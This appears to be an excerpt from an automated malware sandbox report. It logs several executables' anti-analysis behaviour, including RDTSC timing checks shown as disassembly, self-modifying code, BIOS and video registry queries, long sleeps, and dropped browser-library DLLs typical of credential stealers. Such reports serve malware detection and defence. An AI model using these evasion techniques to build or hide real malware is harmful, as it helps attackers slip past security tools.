Source: C:\Users\user\Documents\EBAEBFIIEC.exe	RDTSC instruction interceptor: First address: 7B81F3 second address: 7B822F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FECC5126361h 0x00000009 pop edx 0x0000000a pop eax 0x0000000b push edx 0x0000000c jns 00007FECC5126356h 0x00000012 pop edx 0x00000013 push eax 0x00000014 push edx 0x00000015 jmp 00007FECC5126369h 0x0000001a push eax 0x0000001b push edx 0x0000001c rdtsc
Source: C:\Users\user\Documents\EBAEBFIIEC.exe	RDTSC instruction interceptor: First address: 7B822F second address: 7B8233 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Documents\EBAEBFIIEC.exe	RDTSC instruction interceptor: First address: 7915D8 second address: 7915F3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edi 0x00000005 push eax 0x00000006 push eax 0x00000007 push edx 0x00000008 pushad 0x00000009 pushad 0x0000000a popad 0x0000000b jmp 00007FECC512635Fh 0x00000010 popad 0x00000011 rdtsc
Source: C:\Users\user\Documents\EBAEBFIIEC.exe	RDTSC instruction interceptor: First address: 7916B3 second address: 7916B7 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Documents\EBAEBFIIEC.exe	RDTSC instruction interceptor: First address: 7916B7 second address: 7916D8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 push eax 0x00000008 push eax 0x00000009 push edx 0x0000000a jmp 00007FECC5126367h 0x0000000f rdtsc
Source: C:\Users\user\Documents\EBAEBFIIEC.exe	RDTSC instruction interceptor: First address: 7916D8 second address: 7916E2 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jng 00007FECC5476B26h 0x0000000a rdtsc
Source: C:\Users\user\Documents\EBAEBFIIEC.exe	RDTSC instruction interceptor: First address: 791B0D second address: 791B79 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 mov dword ptr [esp], eax 0x0000000a push 00000000h 0x0000000c push eax 0x0000000d call 00007FECC5126358h 0x00000012 pop eax 0x00000013 mov dword ptr [esp+04h], eax 0x00000017 add dword ptr [esp+04h], 00000017h 0x0000001f inc eax 0x00000020 push eax 0x00000021 ret 0x00000022 pop eax 0x00000023 ret 0x00000024 pushad 0x00000025 call 00007FECC512635Dh 0x0000002a pop ecx 0x0000002b mov dword ptr [ebp+122D3355h], esi 0x00000031 popad 0x00000032 push 00000004h 0x00000034 push 00000000h 0x00000036 push ebp 0x00000037 call 00007FECC5126358h 0x0000003c pop ebp 0x0000003d mov dword ptr [esp+04h], ebp 0x00000041 add dword ptr [esp+04h], 00000014h 0x00000049 inc ebp 0x0000004a push ebp 0x0000004b ret 0x0000004c pop ebp 0x0000004d ret 0x0000004e nop 0x0000004f push eax 0x00000050 push edx 0x00000051 jc 00007FECC512635Ch 0x00000057 jns 00007FECC5126356h 0x0000005d rdtsc
Source: C:\Users\user\Documents\EBAEBFIIEC.exe	RDTSC instruction interceptor: First address: 791E9C second address: 791F06 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop esi 0x00000005 push esi 0x00000006 jmp 00007FECC5476B2Fh 0x0000000b pop esi 0x0000000c popad 0x0000000d mov dword ptr [esp], eax 0x00000010 push 00000000h 0x00000012 push edi 0x00000013 call 00007FECC5476B28h 0x00000018 pop edi 0x00000019 mov dword ptr [esp+04h], edi 0x0000001d add dword ptr [esp+04h], 00000014h 0x00000025 inc edi 0x00000026 push edi 0x00000027 ret 0x00000028 pop edi 0x00000029 ret 0x0000002a sub ecx, 35182D85h 0x00000030 push 0000001Eh 0x00000032 mov ecx, dword ptr [ebp+122D3919h] 0x00000038 nop 0x00000039 pushad 0x0000003a jmp 00007FECC5476B38h 0x0000003f push eax 0x00000040 push edx 0x00000041 jmp 00007FECC5476B2Ah 0x00000046 rdtsc
Source: C:\Users\user\Documents\EBAEBFIIEC.exe	RDTSC instruction interceptor: First address: 7920B2 second address: 792101 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 jmp 00007FECC5126366h 0x0000000c jmp 00007FECC512635Ah 0x00000011 popad 0x00000012 popad 0x00000013 push eax 0x00000014 pushad 0x00000015 je 00007FECC512636Ch 0x0000001b jmp 00007FECC5126366h 0x00000020 jl 00007FECC512635Ch 0x00000026 push eax 0x00000027 push edx 0x00000028 rdtsc
Source: C:\Users\user\Documents\EBAEBFIIEC.exe	RDTSC instruction interceptor: First address: 7922E9 second address: 7922ED instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Documents\EBAEBFIIEC.exe	RDTSC instruction interceptor: First address: 770D77 second address: 770D7D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Documents\EBAEBFIIEC.exe	RDTSC instruction interceptor: First address: 770D7D second address: 770D89 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 popad 0x00000006 pushad 0x00000007 push edx 0x00000008 push ebx 0x00000009 pop ebx 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Documents\EBAEBFIIEC.exe	RDTSC instruction interceptor: First address: 770D89 second address: 770DA6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 jmp 00007FECC512635Eh 0x0000000a push eax 0x0000000b push edx 0x0000000c jl 00007FECC5126356h 0x00000012 pushad 0x00000013 popad 0x00000014 rdtsc
Source: C:\Users\user\Documents\EBAEBFIIEC.exe	RDTSC instruction interceptor: First address: 770DA6 second address: 770DAA instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Documents\EBAEBFIIEC.exe	RDTSC instruction interceptor: First address: 74A86A second address: 74A86E instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Documents\EBAEBFIIEC.exe	RDTSC instruction interceptor: First address: 74A86E second address: 74A8BF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jno 00007FECC5476B3Bh 0x0000000c pushad 0x0000000d jmp 00007FECC5476B30h 0x00000012 jmp 00007FECC5476B34h 0x00000017 pushad 0x00000018 push eax 0x00000019 pop eax 0x0000001a jl 00007FECC5476B26h 0x00000020 push eax 0x00000021 push edx 0x00000022 rdtsc
Source: C:\Users\user\Documents\EBAEBFIIEC.exe	RDTSC instruction interceptor: First address: 7BBECE second address: 7BBED4 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Documents\EBAEBFIIEC.exe	RDTSC instruction interceptor: First address: 7BBED4 second address: 7BBEDA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Documents\EBAEBFIIEC.exe	RDTSC instruction interceptor: First address: 7BBEDA second address: 7BBEFC instructions: 0x00000000 rdtsc 0x00000002 jnc 00007FECC5126356h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push eax 0x0000000b push edx 0x0000000c jmp 00007FECC512635Ch 0x00000011 jmp 00007FECC512635Ah 0x00000016 rdtsc
Source: C:\Users\user\Documents\EBAEBFIIEC.exe	RDTSC instruction interceptor: First address: 7BC1B4 second address: 7BC1BF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 popad 0x00000007 push eax 0x00000008 push edx 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Documents\EBAEBFIIEC.exe	RDTSC instruction interceptor: First address: 7BC1BF second address: 7BC1C3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Documents\EBAEBFIIEC.exe	RDTSC instruction interceptor: First address: 7BC1C3 second address: 7BC1D9 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop eax 0x00000007 push eax 0x00000008 push edx 0x00000009 jmp 00007FECC5476B2Dh 0x0000000e rdtsc
Source: C:\Users\user\Documents\EBAEBFIIEC.exe	RDTSC instruction interceptor: First address: 7BC1D9 second address: 7BC1E3 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jnc 00007FECC5126356h 0x0000000a rdtsc
Source: C:\Users\user\Documents\EBAEBFIIEC.exe	RDTSC instruction interceptor: First address: 7BC38C second address: 7BC391 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Documents\EBAEBFIIEC.exe	RDTSC instruction interceptor: First address: 745855 second address: 74586C instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 jmp 00007FECC5126362h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Documents\EBAEBFIIEC.exe	RDTSC instruction interceptor: First address: 74586C second address: 74588C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop eax 0x00000005 pop edx 0x00000006 pop eax 0x00000007 pushad 0x00000008 pushad 0x00000009 push edx 0x0000000a pop edx 0x0000000b jp 00007FECC5476B26h 0x00000011 pushad 0x00000012 popad 0x00000013 push edi 0x00000014 pop edi 0x00000015 popad 0x00000016 push eax 0x00000017 push edx 0x00000018 jnc 00007FECC5476B26h 0x0000001e push ecx 0x0000001f pop ecx 0x00000020 rdtsc
Source: C:\Users\user\Documents\EBAEBFIIEC.exe	RDTSC instruction interceptor: First address: 7C66BB second address: 7C66BF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Documents\EBAEBFIIEC.exe	RDTSC instruction interceptor: First address: 7C66BF second address: 7C66C3 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Documents\EBAEBFIIEC.exe	RDTSC instruction interceptor: First address: 7C6B39 second address: 7C6B58 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FECC5126366h 0x00000009 pop edx 0x0000000a push eax 0x0000000b push edx 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Documents\EBAEBFIIEC.exe	RDTSC instruction interceptor: First address: 7C6B58 second address: 7C6B5E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Documents\EBAEBFIIEC.exe	RDTSC instruction interceptor: First address: 7C7562 second address: 7C7571 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FECC512635Ah 0x00000009 popad 0x0000000a rdtsc
Source: C:\Users\user\Documents\EBAEBFIIEC.exe	RDTSC instruction interceptor: First address: 7CA4E0 second address: 7CA4E4 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Documents\EBAEBFIIEC.exe	RDTSC instruction interceptor: First address: 7CA4E4 second address: 7CA4ED instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Documents\EBAEBFIIEC.exe	RDTSC instruction interceptor: First address: 7CA4ED second address: 7CA4F9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 popad 0x00000007 pushad 0x00000008 push ebx 0x00000009 pop ebx 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Documents\EBAEBFIIEC.exe	RDTSC instruction interceptor: First address: 7CA4F9 second address: 7CA507 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 popad 0x00000006 push eax 0x00000007 push edx 0x00000008 push ebx 0x00000009 push eax 0x0000000a pop eax 0x0000000b push eax 0x0000000c pop eax 0x0000000d pop ebx 0x0000000e rdtsc
Source: C:\Users\user\Documents\EBAEBFIIEC.exe	RDTSC instruction interceptor: First address: 7CA507 second address: 7CA50C instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Documents\EBAEBFIIEC.exe	RDTSC instruction interceptor: First address: 7CA50C second address: 7CA512 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Documents\EBAEBFIIEC.exe	RDTSC instruction interceptor: First address: 7CA512 second address: 7CA518 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Documents\EBAEBFIIEC.exe	RDTSC instruction interceptor: First address: 7CE8D6 second address: 7CE8E5 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007FECC512635Bh 0x00000009 rdtsc
Source: C:\Users\user\Documents\EBAEBFIIEC.exe	RDTSC instruction interceptor: First address: 7CE8E5 second address: 7CE8F6 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FECC5476B2Dh 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc

Tries to evade debugger and weak emulator (self modifying code)

Source: C:\Users\user\Desktop\file.exe	Special instruction interceptor: First address: 1282B2F instructions caused by: Self-modifying code
Source: C:\Users\user\Desktop\file.exe	Special instruction interceptor: First address: 10AFA25 instructions caused by: Self-modifying code
Source: C:\Users\user\Desktop\file.exe	Special instruction interceptor: First address: 1260D82 instructions caused by: Self-modifying code
Source: C:\Users\user\Desktop\file.exe	Special instruction interceptor: First address: 12E1D6D instructions caused by: Self-modifying code
Source: C:\Users\user\Documents\EBAEBFIIEC.exe	Special instruction interceptor: First address: 5DEC59 instructions caused by: Self-modifying code
Source: C:\Users\user\Documents\EBAEBFIIEC.exe	Special instruction interceptor: First address: 5DED3A instructions caused by: Self-modifying code
Source: C:\Users\user\Documents\EBAEBFIIEC.exe	Special instruction interceptor: First address: 781634 instructions caused by: Self-modifying code
Source: C:\Users\user\Documents\EBAEBFIIEC.exe	Special instruction interceptor: First address: 80B7A1 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Special instruction interceptor: First address: FEEC59 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Special instruction interceptor: First address: FEED3A instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Special instruction interceptor: First address: 1191634 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Special instruction interceptor: First address: 121B7A1 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\1013504001\3e3be1ecc4.exe	Special instruction interceptor: First address: 825AB2 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\1013504001\3e3be1ecc4.exe	Special instruction interceptor: First address: 9C855A instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\1013504001\3e3be1ecc4.exe	Special instruction interceptor: First address: 8230C6 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\1013504001\3e3be1ecc4.exe	Special instruction interceptor: First address: 9D755D instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\1013504001\3e3be1ecc4.exe	Special instruction interceptor: First address: A51F04 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\1013505001\5a20612cd1.exe	Special instruction interceptor: First address: 668BA9 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\1013505001\5a20612cd1.exe	Special instruction interceptor: First address: 8055D2 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\1013505001\5a20612cd1.exe	Special instruction interceptor: First address: 668B32 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\1013506001\0882197cda.exe	Special instruction interceptor: First address: 12E2B2F instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\1013506001\0882197cda.exe	Special instruction interceptor: First address: 110FA25 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\1013506001\0882197cda.exe	Special instruction interceptor: First address: 12C0D82 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\1013506001\0882197cda.exe	Special instruction interceptor: First address: 1341D6D instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\1013508001\9c573f8941.exe	Special instruction interceptor: First address: B8DD45 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\1013508001\9c573f8941.exe	Special instruction interceptor: First address: B8DCC0 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\1013508001\9c573f8941.exe	Special instruction interceptor: First address: D30295 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\1013508001\9c573f8941.exe	Special instruction interceptor: First address: D54C28 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\1013508001\9c573f8941.exe	Special instruction interceptor: First address: DC060A instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\1013505001\5a20612cd1.exe	Special instruction interceptor: First address: 60FDD45 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\1013505001\5a20612cd1.exe	Special instruction interceptor: First address: 60FDCC0 instructions caused by: Self-modifying code

Source: C:\Users\user\AppData\Local\Temp\1013508001\9c573f8941.exe	Memory allocated: 5240000 memory reserve \| memory write watch
Source: C:\Users\user\AppData\Local\Temp\1013508001\9c573f8941.exe	Memory allocated: 5540000 memory reserve \| memory write watch
Source: C:\Users\user\AppData\Local\Temp\1013508001\9c573f8941.exe	Memory allocated: 5380000 memory reserve \| memory write watch
Source: C:\Users\user\AppData\Local\Temp\1013508001\9c573f8941.exe	Memory allocated: 51F0000 memory reserve \| memory write watch
Source: C:\Users\user\AppData\Local\Temp\1013508001\9c573f8941.exe	Memory allocated: 54A0000 memory reserve \| memory write watch
Source: C:\Users\user\AppData\Local\Temp\1013508001\9c573f8941.exe	Memory allocated: 51F0000 memory reserve \| memory write watch

Source: C:\Users\user\AppData\Local\Temp\1013505001\5a20612cd1.exe	Registry key queried: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\Class\{4d36e968-e325-11ce-bfc1-08002be10318}\0000 name: DriverDesc
Source: C:\Users\user\AppData\Local\Temp\1013505001\5a20612cd1.exe	Registry key queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System name: SystemBiosVersion
Source: C:\Users\user\AppData\Local\Temp\1013505001\5a20612cd1.exe	Registry key queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System name: VideoBiosVersion

Source: C:\Users\user\Documents\EBAEBFIIEC.exe

Code function: 9_2_04DD0380 rdtsc

9_2_04DD0380

Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Thread delayed: delay time: 180000	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1013508001\9c573f8941.exe	Thread delayed: delay time: 922337203685477
Source: C:\Users\user\AppData\Local\Temp\1013508001\9c573f8941.exe	Thread delayed: delay time: 922337203685477

Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window / User API: threadDelayed 529	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window / User API: threadDelayed 8206	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1013504001\3e3be1ecc4.exe	Window / User API: threadDelayed 3298	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1013504001\3e3be1ecc4.exe	Window / User API: threadDelayed 3869	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1013507001\6693ff7180.exe	Window / User API: threadDelayed 710

Source: C:\Users\user\Desktop\file.exe	Dropped PE file which has not been started: C:\ProgramData\nss3.dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZVZFKMB9\freebl3[1].dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZVZFKMB9\vcruntime140[1].dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	Dropped PE file which has not been started: C:\ProgramData\freebl3.dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZVZFKMB9\msvcp140[1].dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZVZFKMB9\softokn3[1].dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZVZFKMB9\mozglue[1].dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZVZFKMB9\nss3[1].dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	Dropped PE file which has not been started: C:\ProgramData\softokn3.dll	Jump to dropped file

Source: C:\Users\user\Desktop\file.exe

API coverage: 0.8 %

Source: C:\Users\user\Desktop\file.exe TID: 7368	Thread sleep time: -36018s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\file.exe TID: 7372	Thread sleep time: -36018s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\file.exe TID: 7344	Thread sleep time: -60030s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\file.exe TID: 7356	Thread sleep time: -38019s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\file.exe TID: 7440	Thread sleep time: -32000s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 2588	Thread sleep count: 59 > 30	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 2588	Thread sleep time: -118059s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 2008	Thread sleep count: 58 > 30	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 2008	Thread sleep time: -116058s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 6352	Thread sleep count: 278 > 30	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 6352	Thread sleep time: -8340000s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 3888	Thread sleep count: 59 > 30	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 3888	Thread sleep time: -118059s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 5916	Thread sleep count: 61 > 30	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 5916	Thread sleep time: -122061s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 5740	Thread sleep count: 529 > 30	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 5740	Thread sleep time: -1058529s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 6872	Thread sleep time: -180000s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 5740	Thread sleep count: 8206 > 30	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 5740	Thread sleep time: -16420206s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1013504001\3e3be1ecc4.exe TID: 7124	Thread sleep count: 65 > 30	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1013504001\3e3be1ecc4.exe TID: 7124	Thread sleep time: -130065s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1013504001\3e3be1ecc4.exe TID: 7028	Thread sleep count: 64 > 30	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1013504001\3e3be1ecc4.exe TID: 7028	Thread sleep time: -128064s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1013504001\3e3be1ecc4.exe TID: 6980	Thread sleep count: 171 > 30	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1013504001\3e3be1ecc4.exe TID: 6980	Thread sleep count: 229 > 30	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1013504001\3e3be1ecc4.exe TID: 6980	Thread sleep count: 167 > 30	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1013504001\3e3be1ecc4.exe TID: 6980	Thread sleep count: 115 > 30	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1013504001\3e3be1ecc4.exe TID: 6980	Thread sleep count: 213 > 30	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1013504001\3e3be1ecc4.exe TID: 6980	Thread sleep count: 104 > 30	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1013504001\3e3be1ecc4.exe TID: 6980	Thread sleep count: 95 > 30	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1013504001\3e3be1ecc4.exe TID: 6980	Thread sleep count: 51 > 30	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1013504001\3e3be1ecc4.exe TID: 6980	Thread sleep count: 96 > 30	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1013504001\3e3be1ecc4.exe TID: 1104	Thread sleep count: 79 > 30	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1013504001\3e3be1ecc4.exe TID: 1104	Thread sleep time: -158079s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1013504001\3e3be1ecc4.exe TID: 6192	Thread sleep count: 3298 > 30	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1013504001\3e3be1ecc4.exe TID: 6192	Thread sleep time: -6599298s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1013504001\3e3be1ecc4.exe TID: 7156	Thread sleep count: 3869 > 30	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1013504001\3e3be1ecc4.exe TID: 7156	Thread sleep time: -7741869s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1013504001\3e3be1ecc4.exe TID: 6384	Thread sleep count: 62 > 30	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1013504001\3e3be1ecc4.exe TID: 6384	Thread sleep time: -124062s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1013505001\5a20612cd1.exe TID: 7400	Thread sleep time: -30000s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\1013505001\5a20612cd1.exe TID: 7400	Thread sleep time: -30000s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\1013505001\5a20612cd1.exe TID: 5932	Thread sleep time: -88044s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\1013505001\5a20612cd1.exe TID: 2128	Thread sleep time: -70035s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\1013505001\5a20612cd1.exe TID: 3152	Thread sleep time: -40000s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\1013505001\5a20612cd1.exe TID: 5324	Thread sleep time: -240000s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\1013505001\5a20612cd1.exe TID: 2540	Thread sleep time: -66033s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\1013505001\5a20612cd1.exe TID: 5164	Thread sleep time: -70035s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\1013505001\5a20612cd1.exe TID: 772	Thread sleep time: -66033s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\1013505001\5a20612cd1.exe TID: 3484	Thread sleep time: -74037s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\1013508001\9c573f8941.exe TID: 7656	Thread sleep time: -922337203685477s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\1013508001\9c573f8941.exe TID: 7076	Thread sleep time: -922337203685477s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\1013505001\5a20612cd1.exe TID: 6748	Thread sleep time: -34017s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\1013505001\5a20612cd1.exe TID: 1436	Thread sleep time: -150000s >= -30000s

